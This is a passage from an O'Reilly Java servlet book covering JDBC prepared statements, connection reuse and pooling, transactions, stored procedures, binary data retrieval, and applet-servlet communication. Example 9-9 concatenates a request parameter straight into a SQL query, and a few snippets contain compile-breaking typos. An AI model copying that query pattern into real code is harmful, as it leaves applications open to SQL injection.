PreparedStatement pstmt = con.prepareStatement(
  "INSERT INTO ORDERS (ORDER_ID, CUSTOMER_ID, TOTAL) VALUES (?,?,?)");

// Other code

pstmt.clearParameters();   // clear any previous parameter values
pstmt.setInt(1, 2);        // set ORDER_ID
pstmt.setInt(2, 4);        // set CUSTOMER_ID
pstmt.setDouble(3, 53.43); // set TOTAL
pstmt.executeUpdate();     // execute the stored SQL

The clearParameters() method removes any previously defined parameter values, while the set XXX() methods are used to assign actual values to each of the placeholder question marks. Once you have assigned values for all the parameters, call executeUpdate() to execute the PreparedStatement.

The PreparedStatement class has an important application in conjunction with servlets. When loading user-submitted text into the database using Statement objects and dynamic SQL, you must be careful not to accidentally introduce any SQL control characters (such as " or ') without escaping them in the manner required by your database. With a database like Oracle that surrounds strings with single quotes, an attempt to insert "John d'Artagan" into the database results in this corrupted SQL:

INSERT INTO MUSKETEERS (NAME) VALUES ('John d'Artagan')

As you can see, the string terminates twice. One solution is to manually replace the single quote ' with two single quotes '', the Oracle escape sequence for one single quote. This solution, requires you to escape every character that your database treats as special--not an easy task and not consistent with writing platform-independent code. A far better solution is to use a PreparedStatement and pass the string using its setString() method, as shown below. The PreparedStatement automatically escapes the string as necessary for your database:

PreparedStatement pstmt = con.prepareStatement(
  "INSERT INTO MUSKETEERS (NAME) VALUES (?)");
pstmt.setString(1, "John d'Artagan");
pstmt.executeUpdate();
Previous | Home | Next
9.1. Relational Databases | Book Index | 9.3. Reusing Database Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reusing Database Objects (Java Servlet Programming)

 Java Servlet Programming Search this book

9.3. Reusing Database Objects

In the introduction, we mentioned that the servlet life cycle allows for extremely fast database access. After you've used JDBC for a short time, it will become evident that the major performance bottleneck often comes right at the beginning, when you are opening a database connection. This is rarely a problem for most applications and applets because they can afford a few seconds to create a Connection that is used for the life of the program. With servlets this bottleneck is more serious because we are creating and tearing down a new Connection for every page request. Luckily, the servlet life cycle allows us to reuse the same connection for multiple requests, even concurrent requests, as Connection objects are required to be thread safe.

9.3.1. Reusing Database Connections

A servlet can create one or more Connectionobjects in its init() method and reuse them in its service(), doGet(), and doPost() methods. To demonstrate, Example 9-4 shows the phone lookup servlet rewritten to create its Connection object in advance. It also uses the HtmlSQLResult class from Example 9-3 to display the results. Note that this servlet uses the Sybase JDBC driver.

Example 9-4. An improved directory servlet

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DBPhoneLookupReuse extends HttpServlet {

  private Connection con = null;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      // Load (and therefore register) the Sybase driver
      Class.forName("com.sybase.jdbc.SybDriver");
      con = DriverManager.getConnection(
        "jdbc:sybase:Tds:dbhost:7678", "user", "passwd");
    }
    catch (ClassNotFoundException e) {
      throw new UnavailableException(this, "Couldn't load database driver");
    }
    catch (SQLException e) {
      throw new UnavailableException(this, "Couldn't get db connection");
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/html");
    PrintWriter out = res.getWriter();

    out.println("<HTML><HEAD><TITLE>Phonebook</TITLE></HEAD>");
    out.println("<BODY>");

    HtmlSQLResult result =
      new HtmlSQLResult("SELECT NAME, PHONE FROM EMPLOYEES", con);

    // Display the resulting output
    out.println("<H2>Employees:</H2>");
    out.println(result);
    out.println("</BODY></HTML>");
  }

  public void destroy() {
    // Clean up.
    try {
      if (con != null) con.close();
    }
    catch (SQLException ignored) { }
  }
}

9.3.2. Reusing Prepared Statements

With a little care, you can speed servlet performance even more by creating other database-related objects ahead of time. The PreparedStatementobject is an ideal candidate because it can precompile a SQL statement. This usually saves only a few milliseconds, but if your site gets a few hundred thousand hits a day, that can add up pretty quickly.

Note, however, that sharing objects other than connections poses a problem. Servlets must be thread safe, and accessing a PreparedStatement might require three or four method calls. If one thread calls the clearParameters() method of PreparedStatement right before another thread calls execute(), the results of execute() will be disastrous. Also, there's the limitation that a Statement can support only one query (and any associated result sets) at a time. The solution is to synchronize the sections of your code that use shared objects, as discussed in Chapter 3, "The Servlet Life Cycle" and shown here:

synchronized (pstmt) {
  pstmt.clearParameters();
  pstmt.setInt(1, 2);
  pstmt.setInt(2, 4);
  pstmt.setDouble(3, 53.43);
  pstmt.executeUpdate();
}

Unfortunately, this solution is not without drawbacks. Entering a synchronization block on some platforms takes extra time, and synchronized objects can be used by only one thread at a time. However, some servlets already require a synchronization block, and in these cases the drawback is less of an issue. A good rule of thumb, then, is to create your connections ahead of time, along with any frequently used objects (such as PreparedStatement objects) that can be quickly used inside preexisting synchronization blocks.

For servlets written using the SingleThreadModel interface, these issues do not apply. On the other hand, you will have a number of copies of your servlet loaded at once, which could be just as detrimental to performance.

Previous | Home | Next
9.2. The JDBC API | Book Index | 9.4. Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactions (Java Servlet Programming)

 Java Servlet Programming Search this book

9.4. Transactions

So far, we have failed to mention one important feature of modern relational database systems: transactions. Most service-oriented web sites need to do more than run SELECT statements and insert single pieces of data. Let's look at an online banking application. To perform a transfer of $50,000 between accounts, your program needs to perform an operation that consists of two separate but related actions: credit one account and debit another. Now, imagine that for some reason or another, the SQL statement for the credit succeeds but the one for the debit fails. One account holder is $50,000 richer, but the other account has not been debited to match.

SQL failure is not the only potential problem. If another user checks the account balance in between the credit and the debit, he will see the original balance. The database is shown in an invalid state (more money is represented than actually exists). Granted, this kind of thing is unlikely to occur often, but in a universe of infinite possibilities, it will almost certainly happen sometime. This kind of problem is similar to the synchronization issues we discussed back in Chapter 3, "The Servlet Life Cycle". This time, instead of concerning ourselves with the validity of data stored in a servlet, we are concerned with the validity of an underlying database. Simple synchronization is not enough to solve this problem: multiple servlets may be accessing the same database. For systems like banking software, chances are good that the database is being used by a number of entirely non-Java applications as well.

Sounds like a fairly tricky problem, right? Fortunately, it was a problem long before Java came along, so it has already been solved. Most major RDMBS systems support the concept of transactions. A transaction allows you to group multiple SQL statements together. Using a transaction-aware RDBMS, you can begin a transaction, perform any number of actions, and either commit the results to the database or roll back all of your SQL statements. If we build our online banking application with a transaction-based system, the credit will automatically be canceled if the debit fails.

A transaction is isolated from the rest of the database until finished. As far as the rest of the database is concerned, everything takes place at once (in other words, transactions are atomic). This means that other users accessing the database will always see a valid view of the data, although not necessarily an up-to-date view. If a user requests a report on widgets sold before your widget sales transaction is completed, the report will not include the most recent sale.

9.4.1. Using Transactions with JDBC

Transaction management with JDBC takes place via the Connectionobject. By default, new connections start out in auto-commit mode. This means that every SQL statement is executed as an individual transaction that is immediately committed to the database. To control commitment yourself, thereby allowing you to group SQL statements into transactions, you call setAutoCommit(false) on the Connection object. You can check the status of auto-commit with the getAutoCommit() method. Once you have completed all of your SQL statements, you call commit() to permanently record the transaction in the database. Or, if you encountered an error, you call rollback() to undo it.

Example 9-5 shows a servlet that uses transactions to do basic order processing. It assumes two tables in an ODBC database--INVENTORY (containing the product ID and amount in stock) and SHIPPING (containing a product ID, an order number, and the amount shipped). The servlet uses an unshown chargeCard() method that handles billing and throws an exception if the customer's credit card is invalid.

Example 9-5. Transaction-based order management

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class OrderHandler extends HttpServlet {

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    Connection con = null;
    try {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con = DriverManager.getConnection("jdbc:odbc:ordersdb", "user", "passwd");

      // Turn on transactions
      con.setAutoCommit(false);

      Statement stmt = con.createStatement();
      stmt.executeUpdate(
        "UPDATE INVENTORY SET STOCK = (STOCK - 10) WHERE PRODUCTID = 7");
      stmt.executeUpdate(
        "UPDATE SHIPPING SET SHIPPED = (SHIPPED + 10) WHERE PRODUCTID = 7");

      chargeCard();  // method doesn't actually exist...

      con.commit();
      out.println("Order successful!  Thanks for your business!");
    }
    catch (Exception e) {
      // Any error is grounds for rollback
      try {
        con.rollback();
      }
      catch (SQLException ignored) { }
      out.println("Order failed. Please contact technical support.");
    }
    finally {
      // Clean up.
      try {
        if (con != null) con.close();
      }
      catch (SQLException ignored) { }
    }
  }
}

Here are a few notes on this example. First, the order transaction logic is in doPost() since the client's action is definitely not safely repeatable. Second, because the example demonstrates transaction logic more than servlet logic, the servlet simply assumes the user is buying 10 units of item 7, rather than bothering to actually parse a form for credit card and order information. Finally, as the servlet runs, any exception thrown during driver initialization, connecting to the database, executing SQL, or charging the credit card causes execution to jump to the catch() block, where the rollback() method is called, undoing all our work.

9.4.2. Optimized Transaction Processing

Note that in the previous example the Connection object was created inside the doPost() method, giving up the performance improvements we gained earlier in the chapter by moving the creation up to init(). This is done because transactions are linked to connections and, therefore, connections using transactions cannot be shared. Imagine what would happen if another invocation of this servlet invoked the commit() method when our order had reached only the second SQL statement. Our INVENTORY table would be short 10 units!

So, how do we use transactions without having to connect to the database every time a page is requested? There are several possibilities:

  • Synchronize the doPost() method. This means that each instance of the servlet deals with only one request at a time. This works well for very low traffic sites, but it does slow things down for your users because every transaction has to finish before the next can start. If you need to perform database-intensive updates and inserts, the delay will probably be unacceptable.

  • Leave things as they are, but create a new Connection object for each transaction. If you need to update data only once in every few thousand page requests, this might be the simplest route.

  • Create a pool of Connection objects in the init() method and hand them out as needed, as shown in Figure 9-3. This is probably the most efficient way to handle the problem, if done right. It can, however, become very complicated very quickly without third-party support classes.

  • Create a single Connection object in the init() method and have the servlet implement SingleThreadModel, so the web server creates a pool of servlet instances with a Connection for each, as shown in Figure 9-4. This has the same effect as synchronizing doPost(), but because the web server has a number of servlet instances to choose from, the performance hit for the user is not as great. This approach is easy to implement, but is less robust than using a separate connection pool because the servlet has no control over how many servlet instances are created and how many connections are used. When creating single-threaded database servlets, be especially sure to have the destroy() method close any open database connections.

  • Implement session tracking in the servlet and use the HttpSession object to hold onto a Connection for each user. This allows you to go one step beyond the other solutions and extend a transaction across multiple page requests or even multiple servlets.

Figure 9-3. Servlets using a database connection pool

Figure 9-4. Servlets using SingleThreadModel for a server-managed connection pool

9.4.3. Connection Pooling

For a complicated servlet, creating a connection pool is the ideal approach. With a connection pool, we can duplicate only the resources we need to duplicate (that is, Connection objects), rather than the entire servlet. A connection pool can also intelligently manage the size of the pool and make sure each connection remains valid. A number of connection pool packages are currently available. Some, such as the DbConnectionBroker that is freely available from Java Exchange at http://javaexchange.com, work by creating an object that dispenses connections and connection IDs on request. Others, such as the pool drivers package available from WebLogic at http://www.weblogic.com, implement a new JDBC driver that handles a pool of connections to another JDBC driver. Using a pooling driver like this is the easiest way to implement connection pooling in your servlets. Pooling drivers, however, have a little more operational overhead than standard drivers because every JDBC class needs to be wrapped by another class. This is transparent to the programmer and won't make much of a difference with most Java applications--but with a high-performance, high-volume servlet application, every little performance gain helps.

Example 9-6 demonstrates a simple connection pooling system. A number of connections are created at startup and are handed out to methods as needed. If all the connections are in use, the servlet creates a new one. While our ConnectionPool class is fully functional, mission-critical deployments might benefit from one of the more complete third party packages.

Example 9-6. The ConnectionPool class

import java.sql.*;
import java.util.*;

public class ConnectionPool {
  private Hashtable connections;
  private int increment;
  private String dbURL, user, password;

  public ConnectionPool(String dbURL,
                        String user,
                        String password,
                        String driverClassName,
                        int initialConnections,
                        int increment)
          throws SQLException, ClassNotFoundException {

    // Load the specified driver class
    Class.forName(driverClassName);

    this.dbURL = dbURL;
    this.user = user;
    this.password = password;
    this.increment = increment;

    connections = new Hashtable();

    // Put our pool of Connections in the Hashtable
    // The FALSE value indicates they're unused
    for(int i = 0; i < initialConnections; i++) {
      connections.put(DriverManager.getConnection(dbURL, user, password),
                      Boolean.FALSE);
    }
  }

  public Connection getConnection() throws SQLException {
    Connection con = null;

    Enumeration cons = connections.keys();

    synchronized (connnections) {
      while(cons.hasMoreElements()) {
        con = (Connection)cons.nextElement();

        Boolean b = (Boolean)connections.get(con);
        if (b == Boolean.FALSE) {
          // So we found an unused connection.
          // Test its integrity with a quick setAutoCommit(true) call.
          // For production use, more testing should be performed,
          // such as executing a simple query.
          try {
            con.setAutoCommit(true);
          }
          catch(SQLException e) {
            // Problem with the connection, replace it.
            con = DriverManager.getConnection(dbURL, user, password);
          }
          // Update the Hashtable to show this one's taken
          connections.put(con, Boolean.TRUE);
          // Return the connection
          return con;
        }
      }
    }

    // If we get here, there were no free connections.
    // We've got to make more.
    for(int i = 0; i < increment; i++) {
      connections.put(DriverManager.getConnection(dbURL, user, password),
                      Boolean.FALSE);
    }

    // Recurse to get one of the new connections.
    return getConnection();
  }

  public void returnConnection(Connection returned) {
    Connection con;
    Enumeration cons = connections.keys();
    while (cons.hasMoreElements()) {
      con = (Connection)cons.nextElement();
      if (con == returned) {
        connections.put(con, Boolean.FALSE);
        break;
      }
    }
  }
}

The ConnectionPool class maintains a Hashtable, using Connection objects as keys and Boolean objects as stored values. The Boolean value indicates whether a connection is in use. A program calls the getConnection() method of ConnectionPool to be assigned a Connection object it can use; it calls returnConnection() to give the connection back to the pool. This is a fairly simple model of a connection pool. For deployment, you probably want something that does a better job of maintaining the quality of the pool and does more verification of integrity than a simple call to setAutoCommit() .

Example 9-7 shows a revised version of the order processing servlet that uses the pooling class.

Example 9-7. Connection pooling transaction servlet

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class OrderHandlerPool extends HttpServlet {
  private ConnectionPool pool;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      pool = new ConnectionPool("jdbc:oracle:oci7:orders", "user", "passwd",
                                "oracle.jdbc.driver.OracleDriver", 10, 5);
    }
    catch (Exception e) {
      throw new UnavailableException(this, "Couldn't create connection pool");
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    Connection con = null;

    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    try {
      con = pool.getConnection();

      // Turn on transactions
      con.setAutoCommit(false);

      Statement stmt = con.createStatement();
      stmt.executeUpdate(
        "UPDATE INVENTORY SET STOCK = (STOCK - 10) WHERE PRODUCTID = 7");
      stmt.executeUpdate(
        "UPDATE SHIPPING SET SHIPPED = (SHIPPED + 10) WHERE PRODUCTID = 7");

      chargeCard();  // method doesn't actually exist...

      con.commit();
      out.println("Order successful!  Thanks for your business!");
    }
    catch (Exception e) {
      // Any error is grounds for rollback
      try {
        con.rollback();
      }
      catch (Exception ignored) { }
      out.println("Order failed. Please contact technical support.");
    }
    finally {
      if (con != null) pool.returnConnection(con);
    }
  }
}

9.4.4. Connections as Part of a Session

Session tracking, which we examined in detail back in Chapter 7, "Session Tracking", gives us another way of handling transactions. Using sessions, we can create or allocate a dedicated database connection for individual users of a web site or intranet application. Example 9-8 demonstrates by showing a ConnectionPer-Client servlet that associates a unique Connection with each client HttpSession. It wraps the Connection with a ConnectionHolder that is responsible for managing the connection's life cycle.

Example 9-8. Associating a connection with a session

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

class ConnectionHolder implements HttpSessionBindingListener {
  private Connection con = null;

  public ConnectionHolder(Connection con) {
    // Save the Connection
    this.con = con;
    try {
      con.setAutoCommit(false);  // transactions can extend between web pages!
    }
    catch(SQLException e) {
      // Perform error handling
    }
  }

  public Connection getConnection() {
    return con;  // return the cargo
  }

  public void valueBound(HttpSessionBindingEvent event) {
    // Do nothing when added to a Session
  }

  public void valueUnbound(HttpSessionBindingEvent event) {
    // Roll back changes when removed from a Session
    // (or when the Session expires)
    try {
      if (con != null) {
        con.rollback();  // abandon any uncomitted data
        con.close();
      }
    }
    catch (SQLException e) {
      // Report it
    }
  }
}

/* Actual Servlet */

public class ConnectionPerClient extends HttpServlet {

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      Class.forName("oracle.jdbc.driver.OracleDriver");
    }
    catch (ClassNotFoundException e) {
      throw new UnavailableException(this, "Couldn't load OracleDriver");
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    HttpSession session = req.getSession(true);

    // Try getting the connection holder for this client
    ConnectionHolder holder =
      (ConnectionHolder) session.getValue("servletapp.connection");

    // Create (and store) a new connection and holder if necessary
    if (holder == null) {
      try {
        holder = new ConnectionHolder(DriverManager.getConnection(
          "jdbc:oracle:oci7:ordersdb", "user", "passwd"));
        session.putValue("servletapp.connection", holder);
      }
      catch (SQLException e) {
        getServletContext().log(e, "Couldn't get db connection");
      }
    }

    // Get the actual connection from the holder
    Connection con = holder.getConnection();

    // Now use the connection
    try {
      Statement stmt = con.createStatement();
      stmt.executeUpdate(
        "UPDATE INVENTORY SET STOCK = (STOCK - 10) WHERE PRODUCTID = 7");
      stmt.executeUpdate(
        "UPDATE SHIPPING SET SHIPPED = (SHIPPED + 10) WHERE PRODUCTID = 7");

      // Charge the credit card and commit the transaction in another servlet
      res.sendRedirect(res.encodeRedirectUrl("/servlet/CreditCardHandler"));
    }
    catch (Exception e) {
      // Any error is grounds for rollback
      try {
        con.rollback();
        session.removeValue("servletapp.connection");
      }
      catch (Exception ignored) { }
      out.println("Order failed. Please contact technical support.");
    }
  }
}

Rather than directly binding a connection to the session, we've created a simple holder class that implements the HttpSessionBindingListner interface. We do this because database connections are the most limited resource in a JDBC application and we want to make sure that they will be released properly when no longer needed. The wrapper class also allows us to rollback any uncommitted changes. If a user leaves our hypothetical online shopping system before checking out, her transaction is rolled back when the session expires.

Storing connections in sessions requires careful analysis of your application's needs. Most low-end and mid-range database servers can max out at about 100 connections; desktop databases like Microsoft Access saturate even more quickly.

Previous | Home | Next
9.3. Reusing Database Objects | Book Index | 9.5. Advanced JDBC Techniques
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Advanced JDBC Techniques (Java Servlet Programming)

 Java Servlet Programming Search this book

9.5. Advanced JDBC Techniques

Now that we've covered the basics, let's talk about a few advanced techniques that use servlets and JDBC. First, we'll examine how servlets can access stored database procedures. Then we'll look at how servlets can fetch complicated data types, such as binary data (images, applications, etc.), large quantities of text, or even executable database-manipulation code, from a database.

9.5.1. Stored Procedures

Most RDBMS systems include some sort of internal programming language. One example is Oracle's PL/SQL. These languages allow database developers to embed procedural application code directly within a database and then call that code from other applications. RDMBS programming languages are often well suited to performing certain database actions; many existing database installations have a number of useful stored procedures already written and ready to go. Most introductions to JDBC tend to skip over this topic, so we'll cover it here briefly.

The following code is an Oracle PL/SQL stored procedure. If it looks familiar, that's because it's from George Reese's Database Programming with JDBC (O'Reilly):

CREATE OR REPLACE PROCEDURE sp_interest
(id IN INTEGER
bal IN OUT FLOAT) IS
BEGIN
SELECT balance
INTO bal
FROM accounts
WHERE account_id = id;

bal := bal + bal * 0.03;

UPDATE accounts
SET balance = bal
WHERE account_id = id;

END;

This procedure executes a SQL statement, performs a calculation, and executes another SQL statement. It would be fairly simple to write the SQL to handle this (in fact, the transaction example earlier in this chapter does something similar), so why bother with this at all? There are several reasons:

  • Stored procedures are precompiled in the RDBMS, so they run faster than dynamic SQL.

  • Stored procedures execute entirely within the RDBMS, so they can perform multiple queries and updates without network traffic.

  • Stored procedures allow you to write database manipulation code once and use it across multiple applications in multiple languages.

  • Changes in the underlying table structures require changes only in the stored procedures that access them; applications using the database are unaffected.

  • Many older databases already have a lot of code written as stored procedures, and it would be nice to be able to leverage that effort.

The Oracle PL/SQL procedure in our example takes an input value, in this case an account ID, and returns an updated balance. While each database has its own syntax for accessing stored procedures, JDBC creates a standardized escape sequence for accessing stored procedures using the java.sql.CallableStatement class. The syntax for a procedure that doesn't return a result is "{call procedure_name(?,?)}". The syntax for a stored procedure that returns a result value is "{? = call procedure_name(?,?)}". The parameters inside the parentheses are optional.

Using the CallableStatement class is similar to using the PreparedStatement class:

CallableStatment cstmt = con.prepareCall("{call sp_interest(?,?)}");
cstmt.registerOutParameter(2, java.sql.Types.FLOAT);
cstmt.setInt(1, accountID);
cstmt.execute();
out.println("New Balance: " + cstmt.getFloat(2));

This code first creates a CallableStatement using the prepareCall() method of Connection. Because this stored procedure has an output parameter, it uses the registerOutParameter() method of CallableStatement to identify that parameter as an output parameter of type FLOAT. Finally, the code executes the stored procedure and uses the getFloat() method of CallableStatement to display the new balance. The get XXX() methods in CallableStatement interface are similar to those in the ResultSet interface.

9.5.2. Binaries and Books

Most databases support data types to handle text strings up to several gigabytes in size, as well as binary information like multimedia files. Different databases handle this kind of data in different ways, but the JDBC methods for retrieving it are standard. The getAsciiStream() method of ResultSet handles large text strings; getBinaryStream() works for large binary objects. Each of these methods returns an InputStream.

Support for large data types is one of the most common sources of JDBC problems. Make sure you test your drivers thoroughly, using the largest pieces of data your application will encounter. Oracle's JDBC driver is particularly prone to errors in this area.

Here's some code from a message board servlet that demonstrates reading a long ASCII string. We can assume that connections, statements, and so on have already been created:

try {
  ResultSet rs = stmt.executeQuery(
    "SELECT TITLE, SENDER, MESSAGE FROM MESSAGES WHERE MESSAGE_ID = 9");
  if (rs.next()) {
    out.println("<H1>" + rs.getString("title") + "</H1>");
    out.println("<B>From:</B> " + rs.getString("sender") + "<BR>");
    BufferedReader msgText = new BufferedReader(
      new InputStreamReader(rs.getAsciiStream("message")));
    while (msgText.ready()) {
      out.println(msgText.readLine());
    }
  }
}
catch (SQLException e) {
  // Report it
}

While it is reading from the InputStream, this servlet doesn't get the value of any other columns in the result set. This is important because calling any other get XXX() method of ResultSet closes the InputStream .

Binary data can be retrieved in the same manner using the ResultSet.getBinaryStream() . In this case, we need to set the content type as appropriate and write the output as bytes. Example 9-9 shows a servlet that returns a GIF file loaded from a database.

Example 9-9. Reading a binary GIF image from a database

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DBGifReader extends HttpServlet {

  Connection con;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con = DriverManager.getConnection("jdbc:odbc:imagedb", "user", "passwd");
    }
    catch (ClassNotFoundException e) {
      throw new UnavailableException(this, "Couldn't load JdbcOdbcDriver");
    }
    catch (SQLException e) {
      throw new UnavailableException(this, "Couldn't get db connection");
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    try {
      res.setContentType("image/gif");
      ServletOutputStream out = res.getOutputStream();

      Statement stmt = con.createStatement();
      ResultSet rs = stmt.executeQuery(
        "SELECT IMAGE FROM PICTURES WHERE PID = " + req.getParameter("PID"));

      if (rs.next()) {
        BufferedInputStream gifData =
          new BufferedInputStream(rs.getBinaryStream("image"));
        byte[] buf = new byte[4 * 1024];  // 4K buffer
        int len;
        while ((len = gifData.read(buf, 0, buf.length)) != -1) {
          out.write(buf, 0, len);
        }
      }
      else {
        res.sendError(res.SC_NOT_FOUND);
      }
    }
    catch(SQLException e) {
      // Report it
    }
  }
}
Previous | Home | Next
9.4. Transactions | Book Index | 10. Applet-Servlet Communication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Applet-Servlet Communication (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 10. Applet-Servlet Communication

Contents:

Communication Options
Daytime Server
Chat Server

This chapter demonstrates several techniques by which applets can communicate with servlets. We're going to come at the topic from a slightly different angle than you might expect. Instead of assuming you have an applet and a servlet that need to communicate, we're going assume you have an applet that needs to talk to some entity on the server and explore why sometimes that entity should be a servlet.

To get the ball rolling, let's think about applets that need to communicate with the server. There are a number of good examples. Take a look at the administration applet that manages the Java Web Server. Think about how it works--it executes on the client, but it configures the server. To do this, the applet and the server need to be in near constant communication. As another example, take a look at one of the popular chat applets. One client says something, and all the rest see it. How does that work? They certainly don't communicate applet to applet. Instead, each applet posts its messages to a central server, and the server takes care of updating the other clients. Finally, imagine an applet that tracks the price of a set of stocks and offers continuous updates. How does the applet know the current stock prices, and, more importantly, how does it know when they change? The answer is that it talks with its server.

10.1. Communication Options

Our interest in stock trading has risen along with the Dow, so let's continue with this hypothetical stock tracking applet. We should warn you right now that this example will remain hypothetical. We'll use it solely as a reference point for discussing the issues involved in applet-server communication. But don't worry, there's plenty of code later in the chapter that demonstrates the techniques discussed here, just in somewhat simpler examples.

This stock tracking applet of ours needs to get a stock feed from some server machine. Assuming it's a normal, untrusted applet, there's just one choice: the machine from which it was downloaded. Any attempt to connect to another machine results in a SecurityException, so let's assume the applet gets a stock feed from the server machine from which it was downloaded.[1] The question remains: how can the applet and the server communicate?

[1] You may be wondering how the server machine itself got the stock feed. For the purposes of this example, it's magic.

Trusted and Untrusted Applets

When a Java applet is embedded in a web page, a browser can download it and execute it automatically. If you think about it, that's a very dangerous thing to do. So, to protect the client, JDK 1.0 assumed all applets were untrusted and ran them under the watch of a SecurityManager that severely limited what they could do. For example, the security manager made sure applets couldn't write to the user's file system, read certain system properties, accept incoming socket connections, or establish outgoing socket connections to any host but the origin server. This protected the client, but it limited the usefulness of applets.

Consequently, JDK 1.1 introduced the concept of trusted applets--applets that can operate like normal applications with full access to the client machine. For an applet to be trusted, it has to be digitally signed by a person or company the client trusts (as marked in the client's browser). The signature authenticates the applet's origin and guarantees integrity during the transfer, so the client knows the applet code hasn't been surreptitiously changed. This allowed for more productive applets, but it was an all-or-nothing approach.

To give the client more control, JDK 1.2 is introducing a fine-grained access control system. Under this new system, a digitally signed applet can be partially trusted, given certain abilities without being given free reign on the system. This promises to allow applets from unknown sources to be granted small privileges (such as writing to a single directory), without granting them the ability to wipe the client's hard drive. See Chapter 8, "Security", for more information.

10.1.1. HTTP and Raw Socket Connections

Before JDK 1.1 and servlets, there were two options for applet-server communication:

  • Have the applet establish an HTTP connection to a CGI program on the server machine. The applet acts like a browser and requests a page, parsing the response for its own use. The applet can provide information using a query string or POST data and can receive information from the returned page.

  • Have the applet establish a raw socket connection to a non-HTTP server running on the server machine. The non-HTTP server can listen to a particular port and communicate with the applet using whatever custom protocol they agree upon.

Each of these approaches has advantages and disadvantages. Having an applet make an HTTP connection to a CGI program works well for these reasons:

  • It's easy to write. The applet can take advantage of the java.net.URL and java.net.URLConnection classes to manage the communication channel, and the CGI program can be written like any other.

  • It works even for applets running behind a firewall. Most firewalls allow HTTP connections but disallow raw socket connections.

  • It allows a Java applet to communicate with a program written in any language. The CGI program doesn't have to be written in Java. It can be in Perl, C, C++, or any other language.

  • It works with applets written using JDK 1.0, so it works with all Java-enabled browsers.

  • It allows secure communication. An applet can communicate with a secure server using the encrypted HTTPS (HTTP + SSL) protocol.

  • The CGI program can be used by browsers as well as applets. In the case of our stock tracker example, the CGI program can do double duty, also acting as the back-end for an HTML form-based stock quote service. This makes it especially convenient for an applet to leverage existing CGI programs.

But the HTTP connection to a CGI program also has some problems:

  • It's slow. Because of the HTTP request/response paradigm, the applet and the CGI program cannot communicate interactively. They have to reestablish a new communication channel for each request and response. Plus, there is the standard delay while the CGI program launches and initializes itself to handle a request.

  • It usually requires requests to be formed as an awkward array of name/value pairs. For example, when our stock tracker applet asks for the daily high for Sun Microsystems' stock, it has to ask with an awkward query string like "stock=sunw&query=dailyhi".

  • It forces all responses to be formatted using some arbitrary, previously agreed-upon standard. For example, when our stock tracker applet receives the response that contains a stock's daily high price, it needs to know exactly how to parse the data. Does the returned price begin with a dollar sign? Does the response include the time when the high occurred? And if so, where is the time specified and in what format?

  • Only the applet can initiate communication. The CGI program has to wait passively for the applet to request something before it can respond. If a stock price changes, the applet can find out only when it asks the right question.

An applet and server can also communicate by having the applet establish a socket connection to a non-HTTP server process. This provides the following advantages over the HTTP-based approach:

  • It allows bidirectional, sustained communication. The applet and servlet can use the same socket (or even several sockets) to communicate interactively, sending messages back and forth. For security reasons, the applet must always initiate the connection by connecting to a server socket on the server machine, but after a socket connection has been established, either party can write to the socket at any time. This allows our stock tracker to receive stock price updates as soon as they are available.

  • It allows a more efficient program to run on the server side. The non-HTTP server can be written to handle a request immediately without launching an external CGI program to do the work.

But a socket connection also has disadvantages versus the HTTP-based approach:

  • It fails for applets running behind firewalls. Most firewalls don't allow raw socket connections, and thus they disallow this sort of applet-server communication. Therefore, this mechanism should be used only when an applet is guaranteed to never run on the far side of a firewall, such as for an intranet application.

  • It can be fairly complicated to write the code that runs on the server. There must always be some process (such as a stock quote server) listening on a well-known port on the server machine. Developing such an application in Java is easier than in C++, but it is still nontrivial.

  • It may require the development of a custom protocol. The applet and server need to define the protocol they use for the communication. While this protocol may be simpler and more efficient than HTTP, it often has to be specially developed.

  • The non-HTTP server cannot be conveniently connected to by a web browser. Browsers speak HTTP; they cannot communicate with a non-HTTP server.

The standard historical approach has been for applets to use HTTP to connect to CGI programs on the server. It's easy, and it works for all types of browsers, even browsers running behind firewalls. The use of raw socket connections has generally been reserved for those situations where it's absolutely necessary, such as when the applet and server require bidirectional communication. And, even in those cases, it's often possible to use HTTP connections to simulate bidirectional communication in order to pass through firewalls, as we'll see in a later example.

10.1.2. Servlets and Object Serialization

The recent introduction of Java servlets and object serialization has given new life to these traditional applet-server communication techniques. Servlets are starting to replace slow-starting CGI programs, improving the performance of HTTP-based applet-server communication and making frequent applet-server communication feasible. While it's true in the general case that the applet and the servlet still have to take time to reestablish their connection for each request and response, the applet no longer has to wait as the server launches a CGI program to handle each of its repeated requests.

Java object serialization has simplified the issues involved with formatting responses. With both applets and servlets written in Java, it's only natural that they should communicate by exchanging Java objects. For example, when our hypothetical stock tracking applet asks our stock feed servlet the daily high value for Sun stock, it can receive the response as a serialized StockPrice object. From this, it can get the daily high value as a float and the time of the high value as a Date. It's convenient, and it provides easy type safety. But beware, object serialization works only with applets running inside browsers that support JDK 1.1 or later.

10.1.3. JDBC, RMI, and a Little CORBA

